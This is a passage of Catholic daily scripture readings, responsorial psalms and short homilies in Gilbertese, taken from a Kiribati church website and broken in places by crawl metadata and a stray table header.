ae te I Turiia.\" Ngke a ongo baikanne kain te Tinakoka, ao a bane ni maraki nanoia, ao a teirake ao a katikiia nako tinanikun te kawa. Ao a kairia nakon te tabo teuana ae are winikatatiia te maung are e kateaki aia kawa I aona, ba a na notuia nako mai aona. Ao Ngaia, E ri buakoia n toua nako kawaina.\nTibatiba: N na uota Te rongorongo ae raoiroi nakoia kainnano, ao N na kaota te bara nakoia ake a kainaki\nTariu ao maneu kam kona n tuangai ba tera ngkoa kanoan te kateniua ni miterio n Ota n aron are ti atonga n ara tai ni korana? Eng karaui ngkamai ba N na manga kangoi ngkami: Te Kateniua ni miterio n Ota- Takaruan te Rongorongo ae Raoiroi: Uana butimaean Iesu ae ana Taeka te Atua ae maiu\" Eng bon aio kairan te koaua ae kakawaki ibukira inanon te Kaotitaeka nakon Nei Maria ba e na riki n iriko te Taeka ao E na maeka ibuakora. Aio bon kanoan rongorngon ana Berita n Akoi nakoira te Atua ba ti aonga ni karekea te Maiu ae akea tokina are muiokoaki ana Rikitemanna te Atua ae Iesu ba E na karokoa nako aonteaba. Ao tera te kamaiu ae akea tokina ae na anganira Iesu? Eng te moani bai bon angakira ke kaokan te aro n natinaki are a tia ni bua man bakaia ara moan karo are ti a karaureaki iai ma te Atua. Ao ti bane n ataia ba e na manga oki aio ba uan marakin ao maten Iesu iaon te kaibangaki. Eng e na manga riki Iesu ba te kauoman ni Mote are na kairira nakon te aba ni Berita n Akoi are mwngara ni koaua are bon Abanuean te Atua ae Ierutarem ae Bou.\nE katereterea Iesu kanoan te bai ae na anganira n te bong aio inanon te ewangkerio are taekin taian muioko are kanakoaki iai Iesu ba e na uotia nakon aonnaba. N te ewangkerio ao ti ongora aron Iesu ni wareka ana taeka te Atua ae kangai: \"E mena i aou Tamnein te Uea, ba E kabirai ni katabuai. E kanakoai ba N na uota te rongorongo ae raoiroi nakoia kainnano, ao N na kaota te bara nakoia ake a kainaki, ao N na kainaomataia ake a karawawataki ao N na kaota te ririki n akoi mairoun te Uea.\" Ngke E a tia ni wareware Iesu ao E kaina te boki ao E taku nakoia;\" E kakoroaki nanon taekan te koroboki anne i taningami n te bong aei.\".\nEng Iesu bon te tia kakoroi nanon taian taetae ni burebaeti ibukin karokoan te kamaiuaki mairtoun Tamara ae te Atua. Ti na bon karekea te kamaiuaki ae akea tokina ngkana ti kaburei maiura n irira Iesu ao n uouota ara kaibangaki ao n ririmuina.\n- Details\n- Written by Uriam Timiti\n-\nWarekan ana moa n Reta Bauro nakoia I Tetaronike. 3: 7-13\nTari, e kabebetei nanora ami onimaki i buakon tabeaiangara ma rawawatara. Ti a manga maiu ngkai kam teimatoa i nanon te Uea. Ti na kanga ni katituaraoa te Atua n te aro ae riai n aromi, i bukin te kabaia ae ababaki ae kam karekea nakoira i matan Atuara? Ti butia ni bong ao ni ngaina ma te onnon, ba ti na mang nori matami, ba ti aonga ni kakoroa raoi ane tuai ni kororaoi n ami onimaki. Ke E buoka kawaira n roko iroumi te Atua naba ae Tamara ma ara Uea ae Iesu Kristo. Ke E karikirakea ma ni kabatia ami itangitangiri te Uea, ao ami tangira nakoia aomata nako, n ai aron naba ara tangira nakoimi. Ke E kamatoai nanomi iai i nanon te raoiroi ae akea waeana i matan te Atua ae Tamara, ngkana E nakomai ara Ue ae Iesu Kristo ma ana aomata ni bane aika raoiroi.\nTe Taramo 89: 3-4, 12-14, 17\nKaekana: N na aki toki n neboa aran te Uea.\nKo kaoka te aomata nakon te tano, ni kangai: \"Oki, natin Atam.\"\nBa te nga n ririki i matam, Ai aroni ngkoananoa, ae a nako,\nBon ti teuana te tei ni bong. K.\nReireinira ni wareki ara bong, ba ti na nano wanawana.\nTe Uea, oki! Ningai tokina? Nanoangaia am toro. K.\nKaonrakeira n am akoi n te ingabong, ba ti na kimareirei n ua matera.\nKe e mena i aora ana akoi te Uea; Karekea uan ara makuri. K.\nAlleluia, alleluia.\nKaurei matau, te Uea, ao N na nori kamimi aika muin am tua. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mataio..24: 42-51\nE kangai Iesu nakoia ana reirei: \"Tantani, ba kam aki ata te bong ae E na roko iai ami Uea. Kam na ataia: Ngke arona ba e ata ana tai te tia ira n roko mataniwin te auti, ao e na tantani ao e na aki kariaia b e na ewaraki on ana auti. Ai aromi naba, ngkami: kam na tauraoi, ba E na roko Natin te aomata n te tai ae kam aki iangoia. Ba antai te tabonibai ae kakaonimaki ma ni iangoraoi are e a kateia te toka ba mataniwia kain ana auti, ao na angania kanaia n te tai ae riai? E kabaia te tabonibai anne ngkana e noria ana toka n rokona ba e tabe n ana makuri. I tuangingkami te koaua: e na kateia ba mataniwin ana bai ni kabane. Ma ngkana e buakaka te tabonibai anne ma ni kangai i nanona: 'E baenikai au toka n roko' ao ngkana e oroia raona ma e amarake ma ni moi ma tani manging, ao e na roko ana toka te tabonibai anne n te bong ae e aki kantaningaia iai ao n te tai ae aki ataia; e na kanakoa, ao e na karekea tibangana ae tibangaia tani kewea te aba i buakon te tang ma te kangenge wi.\"`\nTibatiba: Tantani, ba kam aki ata te bong ae E na roko iai ami Uea\nTariu ao maneu n te bong aio ao ti kan kauaea kakawakin karekean te wanwana ni koaua ba ngaia ae na kairia inanon maiura ni kekeiaki inanon te bong teuana ma teuana. Ao ti na kanga n ataia ba e reke iroura te wanwana ni kaoaua ae mairoun te Atua? Eng te wanawana ae anga aonteaba e bon aki kona n anganira te kabaia ni koaua ae ti aki kona ni kabuanibai iai. N te bong aio ao E anganira Iesu n te ewangkerio te taeka ni wanwana ba ti na riai n tantani n tai nako ba ti aonga n tauraoi ngkana e a roko ara tai ni weteaki iroun te Uea. Ao tera raoi ae nanonaki n te tantani? Tao nanona ae ti kona ni waekoa ota iai bon bon aekan are a kakaraoia taian uatiman n aia makuri ba a kantaningaki ba a na taratara n tai nako ba ngkana e roko te tia kamarua ke te tia ira n te tairiki ao ngkana ti taratara ao ti na bon tauraoi ni kaitara ba e na aki urubai ke n anaibai aika kakawaki man ara auti. Inanon te ewangkerio n te bong aio ao ti tuangaki ba tera nanon te tantani ni maiura ni Kiritian. Inanon maiura aio ao iai te bai ae ti na riai n tauraoi nako iai ba bon te mate are ti na tauraoi iai n tei i imatan te tia motikitaeka. Ngkana ti mate inanon te maiu n itiaki ke te karatia ao ngkanne ti na bon tauraoi ni butimaea te kaniwanga ae te rinnako n te Abanuea i Karawa ike ti na nora iai matan te Atua man neneboia n aki toki. Ngkana ti teimatoa ni maiu inanon te raoiroi ao e roko weteara ao ti anganaki te kabaia ae aki totoki i Karawa ao ngkana to mate inanon te bure ao ti na nako mone inanon te maraki ae aki totoki.\nTe wanawana iroura n te bong aio bon te tauraoi n tai nako ni butimaea te tia iein ao ni reita te bakanamarake ibukin te tia mare ao ti riki ba irua aika rine aika a tauraoi ma kunikaia ni party n riki ba tan tia kukurei ma Iesu. Eng ti riai n aki katotongia aine ake niman ake nanobaba ake a aikoa tauraoi ni butimaea te tia mare ao e aki kaukaki te mataroa nakoia ba a rimui.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=20","date":"2021-10-16T23:20:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00099.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":4067,"character_repetition_ratio":0.044,"word_repetition_ratio":0.028,"special_characters_ratio":0.236,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nWiki 21 Katenibong\nWarekan ana moa n Reta Bauro nakoia I Tetaronike. 2: 9-13\nTari, kam uringa ara makuri ma rawawatara ngkoa: Ti makuri ni bong ao ni ngaina ba ti na aki karawawata temanna i buakomi, ngke ti taekina ana Euangkerio te Atua nakoimi, ngkami tan onimaki, ao akea burena. Kam ataia ba aron te karo nakoia natina, ao bon arora naba nakoimi. Ti anai nanomi ma ni kaungai ngkami ma ni buti ngkami ba kam na maiu n te aro ae riai i matan te Atua, ae wetein gkami nakon Uueana ao nakoni mimitongina.\nTi aki toki naba ni katituraoa te Atua ngaira, ngkai kam butimaea ana taeka te Atua are ti taekinna nakoimi, ao kam butimaia, tiaki n ai aron aia taeka aomata, ma kam butimaia n arona ni koaua ae bon ana taeka te Atua; Ao e mamakuri naba te taeka anne i nanomi, ngkami tan onimaki.\nTe Taramo 138: 7-12\nKaekana: Te Uea, Ko norai ao Ko ataai.\nN na raroa ma tamneim ia? N na raroa ma matam ia?\nNgkana I waerake nako karawa, Ko mena iai; Ngkana I wene n te rua, ko mena naba iai. K.\nNgkana I toka ni bain te karangaina, Ngkana I mena i taboni marawa,\nAo Ko kairai ni baim, Ao Ko tauai n ataim. K.\nNgkana I kangai: \"Ke e rabunai te ro, Ke e karabaai ron te bong\",\nAo e aki ro te ro iroum, E ota te bong n ai aron te ngaina. K.\nAlleluia, alleluia.\nA kamatoaki am tua, te Uea, A teimatoa n aki toki. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mataio..23: 27-32\nKam na maraia, ngkami tani koroboki ma Baritaio aika tani kewea te aba! Ai aron ruanimate ngkami, aika kamainainaki: a tamaroa tinanikuia, ao a on nanoia n riia mate ao n te maung. Ai aromi naba: kam baka n raoiroi i mataia aomata, ao a on nanomi n te kewe ma te buakaka. Kam na maraia, ngkami tani koroboki ma Baritaio aika tani kewea te aba! Kam karaoi ruaia burabeti, ao kam katamaroai ruaia akana raoiroi, ao kam kangai: 'Ngke arona ba ti maiu n aia tai ara bakatibu, ao ti na aki raonia ni kamateia burabeti.' Kam kaotioti ngkami iai ba natia uake a kamateia burabeti! Ma ngaia ae ani kakoroa raoi aroni buakakaia ami bakatibu!\"\nTibatiba: Kam na maraia ngkami tani kewea te aba- ai aroia ruanimate ngkami\nN te bong aio ao ti kauringaki kakawakin ataakin te koaua are inanon maiura aio ti kona ni waaki inanon kateimatoan te maiu are ti anganaki iroun te Atua ke ni waki n ai aron te tabakeiniku are te aomata are taraki ni maiu ba e ikeike ma ngkana e kabarakaki ao e a toki naba ikekeina. N aron kabarabaran te waaki inanon te maiu ae onraken te maiu ao te bai ae kakawaki ba ti na kateimatoa inanon maiura bon te anganaga te maiu nakoia raora. Tariu ao maneu ngkana arona ba ti maiu ma ti aki anganga te maiu nakoia raora ibukina ba ti maiu inanon te bure ao ti na katotonga te ruanimate are e kona n rangi n tara n tikiraoi mai akuna ba e beniaki ao ni katamaroaki n taian ue ma ngkana ko tara nanon te ruanumate ao akea te bai ae ko na noria ba ti taian rii ao te boira ae korakora.\nN te ewangkerio ao Iesu E kabotauia tani koroboki ma baritaio ake bon tani kewe mani mamanaia aomata ma taian ruanimate are tarakia mai tinaniku a tara n raoiroi man tikiraoi ma inanoia ao ao bon on n te bokaboka ma te barekareka ao te maungitoto. Tariu ao maneu ngkai bon aikai ana taeka ni kabotau Iesu nakoia tani koroboki ao baritaio ao ti a kauringaki ikai ba anne naba motikan taekara ngkana ti baina te kewe ba ti aki maiuakina te bai are ti taekinna. E kakawaki iroura ba ti na babaina te kokoaua ni maiura ni karaoa nanon te Atua ni maiu inanon te itiaki ke te maiu n takaramentu. Ti na kauki nanora nanon ana reirei Iesu n te bong ba ti na mamaiuna te eti ao te koaua ba ti aonga n anganga te maiu nakoia raora ao ni karekea te kaniwanga ae a tia ni katauraoia Iesu ibukira are te rinnako n Abanuean te Atua i Karawa inanon te kabaia ma te minitong ae aki totoki.\n- Details\n- Written by Uriam Timiti\n-\nWiki 21 Kauabong\nWarekan ana Kaotioti Ioane. 21: 9-14\nE kawarai te anera, ao e kangai nakoiu: \"Nakomai, ao N na kaota neiere kainaba te Tibutetei nakoim.\" E uotai nako, n te tamnei, nako aon te maunga ae bati n rietata, ao e kaota nakoiu te kawa ae tabu, ae Ierutarem, ba e ruo mai karawa mairoun te Atua, ao raona mimitongin te Atua. E raneanea n ai aron te atibu ae moan te kakawaki, ba kanga te iatebi ae itiaki n ai aron te kirititaro. E nonoaki n te nono ae moan te rietata, ae tebui ma uoua mataroana, ao i rarikia tengauni ma uoman anera, ao a makoro iai araia baronga ni Iteraera aika tengauni ma uabaronga; ba tenua te mataroa mai mainiku, tenua te mataroa mai meang, tenua te mataroa mai maiaki, tenua te mataroa mai maeao. E katoroaki te nono i aon atibu aika tebui ma uoua, aika a makoro iai araia ana Abotoro te Tibutetei aika tengauni ma uoman.\nTe Taramo 144: 10-13, 17-18\nKaekana: Ke a karaoiroiko am aomata, te Uea.\nKe a neboiko, te Uea, am makuri, Ke a karaoiroiko am aomata.\nKe a kaota mimitongin Ueam, ma n taekina makam. K.\nKe a kaongoia botanaomata korakoram, ma raneaneani mimitongin Ueam.\nBon akea tokin ueam, E teimatoa am tautaeka n roro nako. K.\nE kakaonimaki te Uea n ana taeka nako, E akoi n ana makuri nako.\nE kaani ma akana weteia, Akana weteia ma te koaua. K.\nAlleluia, alleluia.\nTe Tia Reirei, bon Natin te Atua Ngkoe, Ao aia Uea Iteraera. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ioane..1: 45-51\nE kaitibo Biribo ma Natanaera, ao e taku nakoina: \"Ti kunea Teuare taekinaki n ana Tua Mote ao irouia burabeti. Boni Iesu ae natini Ioteba mai Natareta.\" E taku Natanaera: \"Ba e kona n reke ae raoiroi mai Natareta?\" E kangai Biribo nakoina: \"Nakomai, noria!\" Ngke E nora Natanaera Iesu ba e nakoina, ao E taekinna ni kangai: \"Aei te Iteraera ni koaua, ae akea te kewe irouna.\" E kangai Natanaera nakoina: \"Ko kanga ni kinaai?\" E taku Iesu nakoina: \"I maini weteakim iroun Biribo, ao I noriko ngke ko mena i an te biku.\" E kangai Natanaera nakoina: \"Rabi, bon Natin te Atua Ngkoe, ao aia Uea Iteraera.\" E taku Iesu nakoina: \"Ngkai I tuangko ba I noriko i an te biku, ao ko kakoaua; ma ko na nora ae kamimi riki.\" Ao E manga taku: \"I tuangingkami te koaua: kam na nora karawa ba e uki, ao ana anera te Atua ba a wawaerake ma n ruruo i etan natin te aomata.\"\nTibatiba: Ke a karaoiroiko am aomata, te Uea.\nTariu ao maneu n te bong aio ao ti a reitaki inanon ara boto n iango ae ti reneia ba ti na bane n reitaki ni karaoiroa te Uea. Inanon te botoniango aio are ti kauringaki iai ba iai te rongorongo ae a kakawaki nakoira ba ti bane ni kaoaki nakon te maiu ae ti na riai ni uaiakinna ba te roko n te kawa ae tabu ae karuoaki mai Karawa mairoun te Atua ae Ierutarem ae bou.\nNgkana ti roko i Ierutarem ae bou ao ti na roko irarikin te Atua ae moan te tabu, moan te mwaka ao moan te mimitong. Bon aio te kawa are ti na nora iai mimitongin te Atua ao ti noria anera ma kain karawa ba a bane n neboneboa te Atua.\nTariu ao maneu ke katauira Iesu ba ti na kona ni katonga te maiu ae na roko ngkana ti nori taian kamimi ni maiura aio ni kakoaua makan ana tangira ao nanoanaga te Atua ibuakora. Ti na butia te Atua ba E na nanoangaira n anganira te nano ae maraurau ae kai ringaki n ana taeka, ana kamaiu ao ana nanoanga te Atua ma te tauraoi ni kakoaua ba Iesu boni Ngaia Rabatan ana tangira te Atua ae ruo mai Karawa ba e na kairira nakon te kawa ae tabu ae onrake n otan mimitong te Atua ae bon Ierutarem ae Bou. E bia ninira ao ni kammakurira Tamnein te Atua ba ti na taka ao ti na ukera Uean te Atua inanon maiura aio ao n aron Natanaera ao ti na kaitibo ma Iesu ma te kakoaua ba ba ti bon kaitibo te Uea ae natin Tawita ao te tia kamaiuia Iteraera\n- Details\n- Written by Uriam Timiti\n-\nWiki 20 Kanimabong\nWarekan te Boki ae taekan Nei Ruta. 1: 1, 3-6, 14-16, 22\nN aia tai tani Motikitaeka, ao e roko te rongo i aon te aba; ao e mananga temanna te aomata mai Betereem i Iuta, ma buna ao natina ake uoman, ba a na nako ni maeka i abani Moaba. E mate Erimereka are bun Naomi, ao e tiku neierei ma natina mane ake uoman. A karekeia buia i buakoia aineni Moaba. Aran temanna Oreba, ao are temanna Ruta; ao a tiku n te tabo arei tao tebuina te ririki. Ao a mate naba ngaia ake Maron ao Kirion; ao e tiku Naomi n akea natina mane ao n akea buna. Ao e teirake, ngaia ma buia natina, ba e na kitana abani Moaba, ngke e ongo ba E a tia ni kawaria ana botanaomata te Uea ma n angania te amarake. E kaboria neiere Oreba ma tinani buna, ao e okira ana botanaomta; ma e tiku Ruta ba raon Naomi. E taku Naomi nakoina: \"Noria, e a tia n oki tarim nakon ana botanaomata ao nakon atuana; oki naba Ngkoe, iria.\" E taku Ruta nakoina: \"tai tebonai ba N na kitaniko ma ni kararoaai ma ngkoe, ba ike ko na nako iai, ao N na maeka naba iai; am botanaomata bon au botanaomata; Atuam bon Atuau; ike ko mate iai, ao N na mate ma n taunaki naba iai, Ke E oreai te Uea n aei, ao n arei naba, ngkana tiaki te mate ae karaureira.\" Ai ngaia are e a oki Naomi man te aba ae Moaba, ma raona Ruta ae bun natina, ae te I Moaba. A roko i Beterem ngke e moanaki taian te baare.\nTaramo 145: 5-20\nKaekana: Tamneiu, neboa te Uea.\nE Kabaia ane E buokia Atuani Iakoba, Ane onimakina te Uea ae Atuana,\nBoni Ngaia ae karika karawa ma aonaba, ao marawa ma kanoaia nako. K\nE kakaonimaki te Uea n aki toki, E eti nakoia akana karawawataki.\nE kaamarakeia akana bakii, E kabaraia akana kabaeaki. K\nE kaurei mataia mataki, E kaetiia akana baoua.\nE kawakina te irua, E buoka ane e mate buna ke ana karo. K\nE tangiriia akana raoiroi, ma E tuki kawaia akana buakaka.\nE tautaeka te Uea n aki toki, Ae Atuan Tion n roro nako.K\nEuangkerio\nWarekan ana Euangkerio Mataio, 22: 34-40\nE titirakina Iesu temanna i buakoia Baritaio ni kangai: \"Tera te tua ae kakanato riki i buakon tua? E kaeka Iesu ni kangai: \"Ko na tangira te Uea ae Atuam ma nanom ni kabanea, ma tamneim ni kabanea, ma am iango ni kabanea. Titebo naba kakanaton te kauoua n tua ae kangai: Ko na tangira raom n ai aron tangiram i bon iroum. E bane te Tua ma burabeti i nanon tua akana uoua anne.\nTibatiba: E aera ngkai ti na riai n neboa te Uea ma Tamneira?\nTariu ao maneu n te bong aio ao ti rinea te boto n iango aio ba kairan maiura inanon ara kekeiaki n irira Iesu.. E bon anaaki aio man kaekan te taramo n te bong aio ae kangai: \"Tamneiu Neboa te Uea.\" Ao e area ngkai ti na riai n neboa te Uea ma tamneira? N te moan wareboki ao ti ongora aron te aine ae Ruta n tauraoi n tiku irarikin tinan kainabana ae Naomi ae a tia ni mate. Ngke e tuanga Naomi ba e na iangoa okiran ana botanaoamata ao atuana ao e taetae n tuea Nei Ruta ba e na tiku irarikin Naomi ni karokoa matena ba e na buokia. Ao e aera ngkai e tauraoi Nei Ruta ni karaoa aio? Eng teuana bukina ae I noria ba Nei Ruta bon te aine ae onrake n te tangira.\nN te ewangkerio ao ti ongora aron ana kaeka Iesu nakon te baritaio are titirakina Iesu ba tera te kabanea ni kaknnato n tua. E kaeka Iesu n tuangnga te baritaio ba ana Tua te Atua ake tebuina a kona ni bane ni botaki iaon tuan te tangira. Aio are kamatoa naba nakoira Iesu ba mauira aio e riai ni boto iaon maiuakinan te tangira. Ti na uringa ba te tangira bon mairoun te Atua ao ngkana ti tangira ao ti kaotia ba ti mananga ke ti bungiaki ao ti riki mairoun te Atua. Ao irarikin aio ao e kauringira Iesu ba ngkana ti tangira ao ti riai ni karaoia nakon te Atua moa ao imuina bon nakoia raora. Are nanona ngkanne ba ngkana ti tangira ao ti riai n tangira ma tamneira ngkai bon te Atua te Tamnei.ao ngkana ti tangira ma tamneira ao ngkanne ti bon kababaneira n tangira. Ngkana ti tangira n rabatara ao ti bon aki kona n tangira n ai aron are E a tia n tangira Iesu.\n- Details\n- Written by Uriam Timiti\n-\nWiki 21 Moanibong\nWarekan ana moa Reta Bauro nakoia I Tetaronike ..1: 2-5, 8-10\nTi katituaraoa te Atua n tai nako i bukimi ngkana ti uringingkami n ami tataro. Ti aki toki n uring aromi i matan te Atua ae Tamara, ba uan ami onimaki, ami makuri n tangira ma nanomatoami ni kataninga iroun ara Uea ae Iesu Kristo.\nTi ataingkami, tari aika kam tangiraki iroun te Atua, ba kam rineaki irouna. Ba e roko ara Euangkerio iroumi, tiaki ti n te taeka ma bon raona te korakora ma ana makuri te Tamnei ae Raoiroi ao te nanomatoa n akea te nanououa. Kam bon atai arora ngke ti mena i buakomi, ngke ti buokingkami iai. Ti aki bae n taekin riki aromi: ti kaongoaki arora n roko iroumi ma aromi ngke kam rariraki nakon te Atua ma ni kaki bouananti ba kam na toro iroun te Atua ae maiu, ae koaua; ma aromi ngkai ni kantaninga Natina ae na nako mai karawa, ao are E a tia ni kautia te Atua mai buakoia mate, ae boni Iesu, are kamaiuira man te un ae na roko.\nTe Taramo 149: 1-6, 9\nKaekana: E kukurei te Uea n ana botanaomata\nAnenea te Uea n te kuna ae bou, neboia i bukoia ana aomata.\nKe e kabaia Iteraera iroun te tia karikia, ke a kimareirei natin Tion iroun aia Uea. K.\nKe a neboa arana n te ruoia, ke a Katanga te abi ma te turam i bukina.\nBa E tangira ana botanaomata te Uea, e katokanikaia akana mangori. K.\nKe a kakatonga ana aomata n te mimitong, ke a takarua ni kukurei ni motirawaia.\nKe aoni wia n neboan te Atua: Bon anne kakanatoia ana aomata. K.\nAlleluia, alleluia.\nTe Uea, reireiai kawaiu, Kairai n te kawai ae eti. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mataio. 23: 13-22\nE taetae Iesu nakoia aomata ao nakoia ana reirei ni kangai: \"Kam na maraia, ngkami tani koroboki ma Baritaio, aika tani kewea te aba ba kam kaina te Abanuea ae karawa nakoia aomata! Kam bon aki rin ngkami, ao kam tukiia akana kan rin! Kam na maraia, ngkami tani koroboki ma Baritaio aika tani kewea te aba! Kam kabuta marawa ma aonaba ba kam na raira nanon temanna te aomata, ao ngkana e a reke, ao kam karaoia ba kaini Kenna, ae uoua te tai buakakana riki nakoimi. Kam na maraia, ngkami tani kairiri aika kam mataki, aika kam kangai: 'Ane taetae n tuea n te Temboro, ao akea baena; ma ane tuea ni kooran te Temboro, ao e bae iai.' Te koraki ni baba ma ni mataki! Tera ae kakanato riki, te koora ke te Temboro ae katabua te koora? Kam kangai naba: 'Ane tuea n te baonikarea, ao akea baena; ma ane tuea n te karea ane i aona, ao e bae iai.' Te koraki ni mataki! Tera ae kakannato riki, te karea ke te baonikarea ae katabua te karea? Ane tuea n te baonikarea, ao e tuea n te baonikarea ao ni baika i aona ni kabane. Ane tuea n te Temoboro, ao e tuea n te Temboro ao iroun Teuare maeka iai; ane tuea ni karawa, ao e tuea n ana kaintokanuea te Atua ao iroun Teuare tekateka i aona.\"\nTibatiba: Kam na maraia ngkana kam kaburei tamneia aomata nako Kenna\nTariu ao maneu ti ongo n te bong aio ana kammaraia Iesu nakoia tan koroboki ao baritaio ibukin aroia ni kewe ao ni mamanai nakoia aomata ba aongkoa a na rairi nanoia nakon te Atua ao ngaia a manga aki ba a kamaneia aomata nakon te mate ae akea tokina ba a na nako Kenna are bon nnen te tang ao te kangengewi are boni mone. Eng ti ongo aron Iesu ni kateterei rekenikaia tani koroboki ao baritaio ae kataboroaki ibukin taboron te bure ae a karaoia. Ba teuana bon te reirei ae kewe mani kairua ae a tungia aomata ao ngaia are a katikaki nanoia iai nakon te bure. Te kauouoa ni bure ba a kairi tamaneia aomata nakon te mate. Eng, bon aio te makuri ae E rangi n un iai Iesu ibukina ba aomata ake a keweaki a bon tia ni karaoa te bure are a kaitikkaki nako iai ao tiaki man oin aia rinerine ao aia iango. Bon aio te makuri ae aki botau ma aron are E a tia ni karaoia Iesu ngke e maraki mani mate iaon te kaibangaki ba a aonga ni kabaraki ara bure ao ti aonga ni kamaiuaki.\nInanon te rawawata ma te kataki ao ti bon kantaningaki ngaira Kiritian ba ti na kaota ana tangira ao ana nanoanga te Atua nakoia raora ni buokia ba a na aki reke n ana kamane teuare buakaka. Ngkana ti kamaiuia raora ao ti bon kakukureia nanon Iesu n reita ana makuri nii kamaiu. Ba kakaraoan nanon te Atua inanon maiura boni ngaia ae na karekea nakoira te kaniwanga ae te kabaia ae akea tokina i Karawa inanon te kabaia ao te mimitong ae aki totoki.\n\n\nStrategic Objectives\/Activities\n\n\nTimeline\n\n\nKey Performance Indicators\n\n\nCompletion Rate (%)\n\n\nStrategic Objectives\/Activities\n\n\nTimeline\n\n\nKey Performance Indicators\n\n\nCompletion Rate (%)\n- Details\n- Written by Uriam Timiti\n-\nWiki 20 Kaabong\nWarekan te Boki ae Tani Motikitaeka. 11: 29-39\nE roko Tamnein te Uea i aoni Iabeta, ao e kabutaa Kireata ma Manate, ao e ri nukani Mitiba i Kireata, ao e nako ni mena i akuia tibun Amon. Ao e atonga te taeka ni bau Iabeta nakon te Uea ni kangai: \"Ngkana ko kabureia tibun Amon i nanoni baiu, ao te moan aomata ae na otinako mani mataroan ana auti ba e na butimaeai ngkana I oki ma te tokanikai mani buakanaia tibun Amon, ao bon ana bai te Uea te aomata anne, N na anga ba te karea ni kabuokaki.\" Ao e mananga Iebeta ba e na buakania tibun Amon, ao E kabureia te Uea i nanoni baina. E kataea aia kai mai Aroera ni karokoa Minnita (bon uabui te kawa), ao ni karokoa naba Keramim. Bon te urubai ae moan te korakora, ao a karinanoaki tibun Amon i mataia Iteraera.\nNgke e okira Mitiba Iebeta ba e na nakon ana auti, ao akea ba e a otinako natina te aine ni butimaia ma te ruoia n tangin taian turam. Bon ana rikitemanna neierei, ao akea riki natina te mane ke te aine. Ngke e noria, ao e raeuai kunnikaina, ao e taku: \"Natiu, ko karekea te kabuanibai nakoiu. Ngaia boni ngkoe ae ko karawawataai! I a tia ni kabaeai i matan te Uea, ao I aki kona ni kakewea au taeka.\" E taku neierei nakoina: \"Tamau, ko a tia ni kabaeko i matan te Uea; kakoroa bukin am taeka ni bau irou ngkai E a tia n anganiko te tokanikai te Uea i aoia aiam aika tibun Amon.\" E a manga taku nakon tamana: \"Ko na kariaia au bubuti aei. Kainaomataai i nanon uoua namakaina: N na tiotio nako ri aoni maunga ma raou ba N na tanginiweneia arou n ataeinaine.\" E kangai nakoina: \"Nako.\" Ao e kariata nakona i bukin uoua namakaina. Ao e nako neierei ma raona, ao e tanginiweneia arona n ataeinaine i aoni maunga. Ngke a koro uoua namakaina, ao e okira tamana; ao e kakoroa bukin te taeka ni bau are e a tia ni kabaea iai.\nTe Taramo 39: 5, 7-10\nKaekana: I roko, te Uea, ni karaoa ae nanom.\nE kabaia te aomata, ae onimakina te Uea,\nae aki iriia tani kainikatonga, ma akana taua bukin te kewe. K\nKo rawa nakoni karea ma angabai, ma ko kauka taningau.\nKo aki tangiri karea ni kabuokaki, ma karea ni kabara bure. Ai ngaia ae I kangai. \"Aei Ngai.\" K.\nE koreaki taekau n te nira ni boki, Ba N na ira nanom.\nAtuau, I tatangira am tua, ma nanou ni kabanea. K\nI taekina am raoiroi, n te botaki ae ababaki.\nI aki kainababu, Ko bon ataia, te Uea. K\nAlleluia, alleluia.\nTaetae, te Uea, ba e ongora am toro: a mena iroum taekan te maiu ae aki toki. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mataio. 22: 1-14.\nE kangai Iesu nakoia mataniwia berebitero ma unimanen aonteaba: \"Te Abanuea ae Karawa, ai aron te botaki ni mare are e karaoia temanna te uea i bukin natina te mane. E kanakoia ana tabonibai ba a na weteia tani kaoaki. Ma a rawa n roko. E manga kanakoia ana tabonibai riki tabeman ma te taeka ae kangai: \"Tuangia ake a kaoaki ba e tauraoi te amarake: a tiringaki au kao ma au man aika marikarika: nakomai nakon te amarake.' Ma a aki muti iai, ae a nako, temanna nakon ana bobai, temanna nakon ana ribana, ao ake nikiraia, a tauia ana tabonibai te Uea ni kamataeia tia buaka ni kamateia tan tiritiri akekei ma ni kabuoka aia kawa. Ao e manga kangai nakoia ana tabonibai: 'E tauraoi te amarake ni mare, ma e aki tau aroia ake a kaoaki. Ma ngaia ae kam na nako tutani kawai, ao weteia nako akana kam bo ma ngaia.' Ao a nako tabonibai akekei n tou kawai nako, ao a botiia ake a bo ma ngaia, aika raoiroi ma aika buakaka. Ao e kebo te auti irouia tan roko. Ao e rin naba te uea ba e na noriia tan amarake, ao e nora temanna te aomata ba e aki kunikaia n te kunnikai ni mare. Ao e taku nakoina: 'Raou, ko kanga n rin ikai n akea am kunikai ni mare?' Ao ngaia e aki ngongo. E taku te Uea nakoia ana tabonibai: ' Kabaei baina ma waena, ao tewenakoa n te ro arei ao i buakon te tang ma te kangenge wi.' Ba a maiti akana weteaki, ma a karako akana rineaki.\nTibatiba: Raou, ko kanga n rin ikai n akea am kunikai ni mare?\nTariu ao maneu ti ongora n te moani wareboki n te bong aio aron te uea are mananga ba e na kataei aia kai te Nati n Iteraea ni buakania kanoan Amon. Ngke nako te uea ao e anganna te Atua ana taekani bau ba e anaganaki te tokanikai iaoia aiana ao e tua ba e na kareana temanna are butimaia n okina.\nTera te reirei ae kakawaki nakoira man te karaki aio? I taku ba te reirei ae kakawaki bon\nKabanean korakorara n te maiu aio ba ti na buaka aiara ae te riaboro ao ti na butia te Atua te tokanikai ba ti aonga ni karekea te kaniwanga ae bon miu ma te Atua i Karawa inanon te kabaia ao te mimoting ae aki totoki.\nN te ewangkerio n te bong aio ao ti ongora taekan ana kakao te Atua nakoira ba ti na kaea ana baka n amarake ni mare. Bon aio te kakao ae kaota ana kantaninga te Atua 